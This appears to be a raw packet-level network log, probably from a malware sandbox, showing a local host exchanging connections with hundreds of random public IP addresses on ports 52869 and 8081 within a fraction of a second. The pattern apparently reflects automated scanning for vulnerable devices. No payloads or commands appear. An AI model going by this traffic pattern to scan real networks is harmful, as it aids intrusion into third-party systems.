Jul 20, 2024 23:05:41.604408979 CEST	52869	43695	171.137.77.53	192.168.2.13
Jul 20, 2024 23:05:41.604409933 CEST	52869	43695	142.58.234.104	192.168.2.13
Jul 20, 2024 23:05:41.604410887 CEST	52869	43695	107.65.81.21	192.168.2.13
Jul 20, 2024 23:05:41.604414940 CEST	52869	43695	109.14.200.23	192.168.2.13
Jul 20, 2024 23:05:41.604418993 CEST	52869	43695	160.115.110.207	192.168.2.13
Jul 20, 2024 23:05:41.604419947 CEST	52869	43695	27.50.23.134	192.168.2.13
Jul 20, 2024 23:05:41.604424000 CEST	52869	43695	80.120.104.243	192.168.2.13
Jul 20, 2024 23:05:41.604428053 CEST	52869	43695	65.35.39.183	192.168.2.13
Jul 20, 2024 23:05:41.604433060 CEST	52869	43695	111.209.111.251	192.168.2.13
Jul 20, 2024 23:05:41.604434013 CEST	52869	43695	32.20.24.181	192.168.2.13
Jul 20, 2024 23:05:41.604434967 CEST	52869	43695	153.149.166.39	192.168.2.13
Jul 20, 2024 23:05:41.604435921 CEST	52869	43695	125.76.116.19	192.168.2.13
Jul 20, 2024 23:05:41.604440928 CEST	52869	43695	99.241.202.211	192.168.2.13
Jul 20, 2024 23:05:41.604444981 CEST	52869	43695	175.32.122.132	192.168.2.13
Jul 20, 2024 23:05:41.604449987 CEST	52869	43695	5.118.36.137	192.168.2.13
Jul 20, 2024 23:05:41.604454041 CEST	52869	43695	17.168.12.81	192.168.2.13
Jul 20, 2024 23:05:41.604458094 CEST	52869	43695	113.210.130.191	192.168.2.13
Jul 20, 2024 23:05:41.604461908 CEST	52869	43695	34.181.222.174	192.168.2.13
Jul 20, 2024 23:05:41.604465961 CEST	52869	43695	83.193.174.246	192.168.2.13
Jul 20, 2024 23:05:41.604487896 CEST	43695	52869	192.168.2.13	204.125.240.228
Jul 20, 2024 23:05:41.604487896 CEST	43695	52869	192.168.2.13	170.157.48.1
Jul 20, 2024 23:05:41.604487896 CEST	43695	52869	192.168.2.13	2.152.71.152
Jul 20, 2024 23:05:41.604487896 CEST	43695	52869	192.168.2.13	192.63.21.56
Jul 20, 2024 23:05:41.604487896 CEST	43695	52869	192.168.2.13	101.147.132.180
Jul 20, 2024 23:05:41.604492903 CEST	43695	52869	192.168.2.13	133.149.136.121
Jul 20, 2024 23:05:41.604492903 CEST	43695	52869	192.168.2.13	50.66.193.151
Jul 20, 2024 23:05:41.604492903 CEST	43695	52869	192.168.2.13	106.24.45.83
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	218.217.201.5
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	207.68.145.36
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	116.185.85.147
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	120.82.186.82
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	133.112.9.231
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	8.100.203.97
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	19.225.121.130
Jul 20, 2024 23:05:41.604696989 CEST	43695	52869	192.168.2.13	63.170.166.112
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	178.234.160.149
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	178.40.154.210
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	191.6.89.57
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	124.59.19.121
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	85.43.144.215
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	113.166.119.67
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	198.109.49.20
Jul 20, 2024 23:05:41.605675936 CEST	43439	8081	192.168.2.13	54.23.136.73
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	124.9.167.87
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	42.122.9.24
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	58.30.8.244
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	186.23.129.11
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	9.125.96.65
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	34.209.246.186
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	200.15.78.244
Jul 20, 2024 23:05:41.605899096 CEST	43695	52869	192.168.2.13	172.206.170.91
Jul 20, 2024 23:05:41.605968952 CEST	43695	52869	192.168.2.13	103.119.249.171
Jul 20, 2024 23:05:41.605968952 CEST	43695	52869	192.168.2.13	65.35.39.183
Jul 20, 2024 23:05:41.605968952 CEST	43695	52869	192.168.2.13	99.241.202.211
Jul 20, 2024 23:05:41.605968952 CEST	43695	52869	192.168.2.13	160.115.110.207
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	58.30.155.104
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	147.239.120.6
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	199.109.215.250
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	85.29.92.89
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	119.63.51.2
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	222.53.239.66
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	188.177.168.128
Jul 20, 2024 23:05:41.606004953 CEST	43695	52869	192.168.2.13	128.167.40.10
Jul 20, 2024 23:05:41.606084108 CEST	43695	52869	192.168.2.13	142.69.246.171
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	161.241.18.111
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	118.56.107.105
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	145.144.15.140
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	161.217.224.221
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	62.234.125.79
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	102.190.94.52
Jul 20, 2024 23:05:41.606085062 CEST	43695	52869	192.168.2.13	61.9.17.47
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	197.204.106.114
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	221.45.33.107
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	38.97.128.75
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	179.239.9.243
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	220.213.157.140
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	152.223.58.237
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	176.137.29.83
Jul 20, 2024 23:05:41.606192112 CEST	43695	52869	192.168.2.13	99.143.3.199
Jul 20, 2024 23:05:41.608176947 CEST	43695	52869	192.168.2.13	162.102.176.197
Jul 20, 2024 23:05:41.608176947 CEST	43695	52869	192.168.2.13	176.35.158.53
Jul 20, 2024 23:05:41.608176947 CEST	43695	52869	192.168.2.13	168.220.14.134
Jul 20, 2024 23:05:41.608177900 CEST	43695	52869	192.168.2.13	220.168.165.99
Jul 20, 2024 23:05:41.608177900 CEST	43695	52869	192.168.2.13	23.209.78.133
Jul 20, 2024 23:05:41.608177900 CEST	43695	52869	192.168.2.13	59.21.4.220
Jul 20, 2024 23:05:41.608177900 CEST	43695	52869	192.168.2.13	1.43.250.166
Jul 20, 2024 23:05:41.608177900 CEST	43695	52869	192.168.2.13	119.26.123.63
Jul 20, 2024 23:05:41.608576059 CEST	43695	52869	192.168.2.13	217.218.196.204
Jul 20, 2024 23:05:41.608576059 CEST	43695	52869	192.168.2.13	109.14.200.23
Jul 20, 2024 23:05:41.608577013 CEST	43695	52869	192.168.2.13	32.39.5.121
Jul 20, 2024 23:05:41.608577013 CEST	43695	52869	192.168.2.13	141.84.202.207
Jul 20, 2024 23:05:41.608577013 CEST	43695	52869	192.168.2.13	122.96.96.240
Jul 20, 2024 23:05:41.608732939 CEST	43439	8081	192.168.2.13	40.17.14.25
Jul 20, 2024 23:05:41.608732939 CEST	43439	8081	192.168.2.13	168.108.1.170
Jul 20, 2024 23:05:41.608732939 CEST	43695	52869	192.168.2.13	204.235.52.91
Jul 20, 2024 23:05:41.608732939 CEST	43695	52869	192.168.2.13	51.149.137.11
Jul 20, 2024 23:05:41.608732939 CEST	43439	8081	192.168.2.13	87.61.165.209
Jul 20, 2024 23:05:41.608732939 CEST	43439	8081	192.168.2.13	71.4.247.218
Jul 20, 2024 23:05:41.608732939 CEST	43439	8081	192.168.2.13	152.67.193.141
Jul 20, 2024 23:05:41.608732939 CEST	43695	52869	192.168.2.13	221.61.220.14
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	81.37.172.58
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	116.152.160.220
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	217.92.206.226
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	61.67.184.131
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	34.42.67.18
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	52.58.27.109
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	200.213.150.56
Jul 20, 2024 23:05:41.608943939 CEST	43695	52869	192.168.2.13	219.165.248.107
Jul 20, 2024 23:05:41.610080004 CEST	43695	52869	192.168.2.13	211.47.12.132
Jul 20, 2024 23:05:41.610080004 CEST	43695	52869	192.168.2.13	37.166.58.7
Jul 20, 2024 23:05:41.610080004 CEST	43695	52869	192.168.2.13	61.201.180.247
Jul 20, 2024 23:05:41.610080004 CEST	43695	52869	192.168.2.13	51.248.12.8
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	39.227.234.202
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	198.189.28.184
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	148.60.114.98
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	152.149.49.0
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	84.85.127.134
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	78.113.18.110
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	54.53.247.204
Jul 20, 2024 23:05:41.610632896 CEST	43695	52869	192.168.2.13	65.197.141.74
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	201.40.134.247
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	104.96.206.187
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	213.186.60.79
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	143.83.164.172
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	185.161.254.8
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	88.166.52.151
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	177.82.131.223
Jul 20, 2024 23:05:41.610774040 CEST	43695	52869	192.168.2.13	2.174.102.156
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	58.240.141.32
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	84.107.7.192
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	88.80.142.11
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	122.79.153.203
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	102.202.162.8
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	50.92.185.77
Jul 20, 2024 23:05:41.611284018 CEST	43695	52869	192.168.2.13	193.164.35.3
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	34.109.230.99
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	31.37.204.42
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	132.143.62.22
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	168.146.95.202
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	183.244.83.113
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	14.9.29.134
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	207.215.37.219
Jul 20, 2024 23:05:41.611495972 CEST	43695	52869	192.168.2.13	78.144.154.96
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	13.185.8.161
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	83.171.30.192
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	204.62.163.193
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	199.236.105.93
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	159.79.7.247
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	52.158.156.132
Jul 20, 2024 23:05:41.612051964 CEST	43695	52869	192.168.2.13	107.16.190.251
Jul 20, 2024 23:05:41.612052917 CEST	43695	52869	192.168.2.13	186.234.252.17
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	124.228.154.150
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	128.19.80.131
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	76.38.151.253
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	107.211.240.189
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	27.206.31.28
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	139.245.15.1
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	95.137.137.218
Jul 20, 2024 23:05:41.612658978 CEST	43695	52869	192.168.2.13	89.220.192.131
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	20.60.80.137
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	12.187.5.232
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	220.144.218.43
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	181.48.248.186
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	134.61.131.203
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	9.105.60.39
Jul 20, 2024 23:05:41.612787962 CEST	43695	52869	192.168.2.13	181.75.92.107
Jul 20, 2024 23:05:41.613228083 CEST	43695	52869	192.168.2.13	27.50.23.134
Jul 20, 2024 23:05:41.613228083 CEST	43695	52869	192.168.2.13	80.120.104.243
Jul 20, 2024 23:05:41.613228083 CEST	43695	52869	192.168.2.13	131.42.216.60
Jul 20, 2024 23:05:41.614115000 CEST	52869	43695	41.49.55.165	192.168.2.13
Jul 20, 2024 23:05:41.614123106 CEST	52869	43695	153.45.45.147	192.168.2.13
Jul 20, 2024 23:05:41.614125013 CEST	52869	43695	88.192.217.164	192.168.2.13
Jul 20, 2024 23:05:41.614126921 CEST	52869	43695	100.170.20.195	192.168.2.13
Jul 20, 2024 23:05:41.614130974 CEST	52869	43695	95.86.141.240	192.168.2.13
Jul 20, 2024 23:05:41.614135027 CEST	52869	43695	18.8.77.253	192.168.2.13
Jul 20, 2024 23:05:41.614136934 CEST	52869	43695	114.28.59.216	192.168.2.13
Jul 20, 2024 23:05:41.614144087 CEST	52869	43695	155.188.0.225	192.168.2.13
Jul 20, 2024 23:05:41.614149094 CEST	52869	43695	218.189.225.43	192.168.2.13
Jul 20, 2024 23:05:41.614155054 CEST	52869	43695	190.87.120.121	192.168.2.13
Jul 20, 2024 23:05:41.614159107 CEST	52869	43695	151.81.182.232	192.168.2.13
Jul 20, 2024 23:05:41.614161015 CEST	52869	43695	184.111.41.200	192.168.2.13
Jul 20, 2024 23:05:41.614162922 CEST	52869	43695	64.163.90.195	192.168.2.13
Jul 20, 2024 23:05:41.614164114 CEST	52869	43695	49.244.202.251	192.168.2.13
Jul 20, 2024 23:05:41.614168882 CEST	43695	52869	192.168.2.13	114.28.59.216
Jul 20, 2024 23:05:41.614170074 CEST	52869	43695	52.84.19.78	192.168.2.13
Jul 20, 2024 23:05:41.614168882 CEST	43695	52869	192.168.2.13	18.8.77.253
Jul 20, 2024 23:05:41.614176989 CEST	52869	43695	51.243.155.98	192.168.2.13
Jul 20, 2024 23:05:41.614181042 CEST	52869	43695	20.126.44.94	192.168.2.13
Jul 20, 2024 23:05:41.614187002 CEST	52869	43695	104.8.133.150	192.168.2.13
Jul 20, 2024 23:05:41.614188910 CEST	52869	43695	19.197.253.210	192.168.2.13
Jul 20, 2024 23:05:41.614191055 CEST	52869	43695	192.28.73.157	192.168.2.13
Jul 20, 2024 23:05:41.614192009 CEST	52869	43695	70.214.95.85	192.168.2.13
Jul 20, 2024 23:05:41.614193916 CEST	52869	43695	126.153.140.123	192.168.2.13
Jul 20, 2024 23:05:41.614195108 CEST	52869	43695	199.200.28.239	192.168.2.13
Jul 20, 2024 23:05:41.614200115 CEST	52869	43695	41.31.162.56	192.168.2.13
Jul 20, 2024 23:05:41.614202976 CEST	52869	43695	69.12.235.71	192.168.2.13
Jul 20, 2024 23:05:41.614207029 CEST	52869	43695	135.3.95.96	192.168.2.13
Jul 20, 2024 23:05:41.614209890 CEST	52869	43695	171.146.12.186	192.168.2.13
Jul 20, 2024 23:05:41.614211082 CEST	52869	43695	76.140.225.74	192.168.2.13
Jul 20, 2024 23:05:41.614217997 CEST	52869	43695	73.95.157.254	192.168.2.13
Jul 20, 2024 23:05:41.614223003 CEST	52869	43695	70.118.174.154	192.168.2.13
Jul 20, 2024 23:05:41.614223957 CEST	52869	43695	119.155.195.191	192.168.2.13
Jul 20, 2024 23:05:41.614226103 CEST	52869	43695	196.144.35.30	192.168.2.13
Jul 20, 2024 23:05:41.614232063 CEST	52869	43695	63.54.94.225	192.168.2.13
Jul 20, 2024 23:05:41.614233017 CEST	52869	43695	110.140.65.107	192.168.2.13
Jul 20, 2024 23:05:41.614238024 CEST	52869	43695	50.231.142.184	192.168.2.13
Jul 20, 2024 23:05:41.614243031 CEST	52869	43695	108.43.220.197	192.168.2.13
Jul 20, 2024 23:05:41.614248991 CEST	52869	43695	113.13.202.5	192.168.2.13
Jul 20, 2024 23:05:41.614254951 CEST	52869	43695	27.231.97.88	192.168.2.13
Jul 20, 2024 23:05:41.614255905 CEST	52869	43695	153.208.199.46	192.168.2.13
Jul 20, 2024 23:05:41.614260912 CEST	52869	43695	115.225.59.235	192.168.2.13
Jul 20, 2024 23:05:41.614263058 CEST	52869	43695	23.98.231.99	192.168.2.13
Jul 20, 2024 23:05:41.614264965 CEST	43695	52869	192.168.2.13	85.194.233.109
Jul 20, 2024 23:05:41.614264965 CEST	43695	52869	192.168.2.13	37.253.130.175
Jul 20, 2024 23:05:41.614264965 CEST	43695	52869	192.168.2.13	34.69.166.35
Jul 20, 2024 23:05:41.614264965 CEST	43695	52869	192.168.2.13	40.109.154.72
Jul 20, 2024 23:05:41.614264965 CEST	43695	52869	192.168.2.13	76.39.255.20
Jul 20, 2024 23:05:41.614268064 CEST	52869	43695	191.46.165.104	192.168.2.13
Jul 20, 2024 23:05:41.614272118 CEST	52869	43695	159.243.208.100	192.168.2.13
Jul 20, 2024 23:05:41.614274025 CEST	52869	43695	124.88.86.107	192.168.2.13
Jul 20, 2024 23:05:41.614278078 CEST	52869	43695	75.198.187.137	192.168.2.13
Jul 20, 2024 23:05:41.614284992 CEST	52869	43695	140.210.195.219	192.168.2.13
Jul 20, 2024 23:05:41.614289999 CEST	52869	43695	199.245.3.145	192.168.2.13
Jul 20, 2024 23:05:41.614294052 CEST	52869	43695	180.27.126.200	192.168.2.13
Jul 20, 2024 23:05:41.614298105 CEST	52869	43695	128.167.145.108	192.168.2.13
Jul 20, 2024 23:05:41.614300966 CEST	52869	43695	23.229.181.146	192.168.2.13
Jul 20, 2024 23:05:41.614305973 CEST	52869	43695	198.223.152.158	192.168.2.13
Jul 20, 2024 23:05:41.614310980 CEST	52869	43695	162.30.112.143	192.168.2.13
Jul 20, 2024 23:05:41.614315987 CEST	52869	43695	47.20.88.132	192.168.2.13
Jul 20, 2024 23:05:41.614317894 CEST	52869	43695	151.202.24.195	192.168.2.13
Jul 20, 2024 23:05:41.614321947 CEST	52869	43695	183.2.3.229	192.168.2.13
Jul 20, 2024 23:05:41.614322901 CEST	52869	43695	156.109.89.116	192.168.2.13
Jul 20, 2024 23:05:41.614324093 CEST	52869	43695	194.222.156.80	192.168.2.13
Jul 20, 2024 23:05:41.614325047 CEST	52869	43695	203.68.243.25	192.168.2.13
Jul 20, 2024 23:05:41.614326000 CEST	52869	43695	187.38.145.93	192.168.2.13
Jul 20, 2024 23:05:41.614326954 CEST	52869	43695	78.194.200.52	192.168.2.13
Jul 20, 2024 23:05:41.614331961 CEST	52869	43695	203.110.53.35	192.168.2.13
Jul 20, 2024 23:05:41.614334106 CEST	52869	43695	223.171.240.85	192.168.2.13
Jul 20, 2024 23:05:41.614339113 CEST	52869	43695	13.253.4.10	192.168.2.13
Jul 20, 2024 23:05:41.614343882 CEST	52869	43695	177.6.7.191	192.168.2.13
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	65.69.203.133
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	195.58.136.44
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	13.242.152.247
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	87.94.139.210
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	200.70.178.84
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	153.26.58.248
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	49.147.24.52
Jul 20, 2024 23:05:41.614454985 CEST	43695	52869	192.168.2.13	82.69.55.193
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	100.170.20.195
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	52.84.19.78
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	20.126.44.94
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	104.8.133.150
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	76.140.225.74
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	135.3.95.96
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	110.140.65.107
Jul 20, 2024 23:05:41.614552021 CEST	43695	52869	192.168.2.13	27.231.97.88
Jul 20, 2024 23:05:41.614984035 CEST	52869	43695	161.47.225.191	192.168.2.13
Jul 20, 2024 23:05:41.614995003 CEST	52869	43695	99.58.50.105	192.168.2.13
Jul 20, 2024 23:05:41.614999056 CEST	52869	43695	176.103.229.144	192.168.2.13
Jul 20, 2024 23:05:41.615000010 CEST	52869	43695	125.91.244.45	192.168.2.13
Jul 20, 2024 23:05:41.615006924 CEST	52869	43695	88.214.109.161	192.168.2.13
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	168.249.67.154
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	80.8.221.69
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	75.237.222.251
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	189.77.136.125
Jul 20, 2024 23:05:41.615012884 CEST	52869	43695	169.46.166.178	192.168.2.13
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	171.137.77.53
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	5.118.36.137
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	17.168.12.81
Jul 20, 2024 23:05:41.615010977 CEST	43695	52869	192.168.2.13	113.210.130.191
Jul 20, 2024 23:05:41.615020990 CEST	52869	43695	45.142.228.136	192.168.2.13
Jul 20, 2024 23:05:41.615022898 CEST	52869	43695	206.206.29.210	192.168.2.13
Jul 20, 2024 23:05:41.615026951 CEST	52869	43695	39.60.31.173	192.168.2.13
Jul 20, 2024 23:05:41.615036964 CEST	52869	43695	148.162.204.58	192.168.2.13
Jul 20, 2024 23:05:41.615042925 CEST	52869	43695	8.60.255.176	192.168.2.13
Jul 20, 2024 23:05:41.615050077 CEST	52869	43695	150.177.152.4	192.168.2.13
Jul 20, 2024 23:05:41.615056038 CEST	52869	43695	71.125.28.229	192.168.2.13
Jul 20, 2024 23:05:41.615057945 CEST	52869	43695	146.195.175.74	192.168.2.13
Jul 20, 2024 23:05:41.615061998 CEST	52869	43695	131.238.38.36	192.168.2.13
Jul 20, 2024 23:05:41.615067959 CEST	52869	43695	18.168.2.86	192.168.2.13
Jul 20, 2024 23:05:41.615072966 CEST	52869	43695	221.42.246.7	192.168.2.13
Jul 20, 2024 23:05:41.615077972 CEST	52869	43695	80.173.225.23	192.168.2.13
Jul 20, 2024 23:05:41.615082026 CEST	52869	43695	129.72.193.162	192.168.2.13
Jul 20, 2024 23:05:41.615083933 CEST	52869	43695	90.84.30.242	192.168.2.13
Jul 20, 2024 23:05:41.615087032 CEST	52869	43695	204.247.158.164	192.168.2.13
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	114.232.25.86
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	159.72.76.181
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	79.32.244.49
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	18.143.16.236
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	111.209.111.251
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	49.244.202.251
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	75.198.187.137
Jul 20, 2024 23:05:41.615088940 CEST	43695	52869	192.168.2.13	199.245.3.145
Jul 20, 2024 23:05:41.615092039 CEST	52869	43695	184.244.251.192	192.168.2.13
Jul 20, 2024 23:05:41.615097046 CEST	52869	43695	175.33.210.110	192.168.2.13
Jul 20, 2024 23:05:41.615098000 CEST	52869	43695	66.238.97.61	192.168.2.13
Jul 20, 2024 23:05:41.615103006 CEST	52869	43695	188.202.147.226	192.168.2.13
Jul 20, 2024 23:05:41.615107059 CEST	52869	43695	219.74.177.50	192.168.2.13
Jul 20, 2024 23:05:41.615108013 CEST	52869	43695	182.222.251.164	192.168.2.13
Jul 20, 2024 23:05:41.615108967 CEST	52869	43695	75.27.220.215	192.168.2.13
Jul 20, 2024 23:05:41.615109921 CEST	52869	43695	188.120.126.214	192.168.2.13
Jul 20, 2024 23:05:41.615112066 CEST	52869	43695	114.145.159.92	192.168.2.13
Jul 20, 2024 23:05:41.615113020 CEST	52869	43695	86.2.137.180	192.168.2.13
Jul 20, 2024 23:05:41.615113974 CEST	52869	43695	164.11.218.34	192.168.2.13
Jul 20, 2024 23:05:41.615120888 CEST	52869	43695	59.206.251.27	192.168.2.13
Jul 20, 2024 23:05:41.615125895 CEST	52869	43695	61.231.166.97	192.168.2.13
Jul 20, 2024 23:05:41.615129948 CEST	52869	43695	202.161.35.81	192.168.2.13
Jul 20, 2024 23:05:41.615134954 CEST	52869	43695	34.24.241.58	192.168.2.13
Jul 20, 2024 23:05:41.615135908 CEST	52869	43695	84.95.135.195	192.168.2.13
Jul 20, 2024 23:05:41.615137100 CEST	52869	43695	124.91.74.236	192.168.2.13
Jul 20, 2024 23:05:41.615139008 CEST	52869	43695	44.145.122.39	192.168.2.13
Jul 20, 2024 23:05:41.615140915 CEST	52869	43695	209.181.151.253	192.168.2.13
Jul 20, 2024 23:05:41.615143061 CEST	52869	43695	65.110.37.185	192.168.2.13
Jul 20, 2024 23:05:41.615144968 CEST	52869	43695	46.122.100.215	192.168.2.13
Jul 20, 2024 23:05:41.615149975 CEST	52869	43695	120.224.121.58	192.168.2.13
Jul 20, 2024 23:05:41.615153074 CEST	52869	43695	147.205.180.17	192.168.2.13
Jul 20, 2024 23:05:41.615158081 CEST	52869	43695	58.164.88.29	192.168.2.13
Jul 20, 2024 23:05:41.615159988 CEST	52869	43695	157.132.79.48	192.168.2.13
Jul 20, 2024 23:05:41.615165949 CEST	52869	43695	175.157.85.167	192.168.2.13
Jul 20, 2024 23:05:41.615170002 CEST	52869	43695	140.166.42.218	192.168.2.13
Jul 20, 2024 23:05:41.615173101 CEST	52869	43695	58.61.225.93	192.168.2.13
Jul 20, 2024 23:05:41.615175009 CEST	52869	43695	36.89.58.52	192.168.2.13
Jul 20, 2024 23:05:41.615180016 CEST	52869	43695	206.168.18.35	192.168.2.13
Jul 20, 2024 23:05:41.615211010 CEST	52869	43695	9.92.192.231	192.168.2.13
Jul 20, 2024 23:05:41.615212917 CEST	52869	43695	87.149.54.49	192.168.2.13
Jul 20, 2024 23:05:41.615216017 CEST	52869	43695	189.57.148.66	192.168.2.13
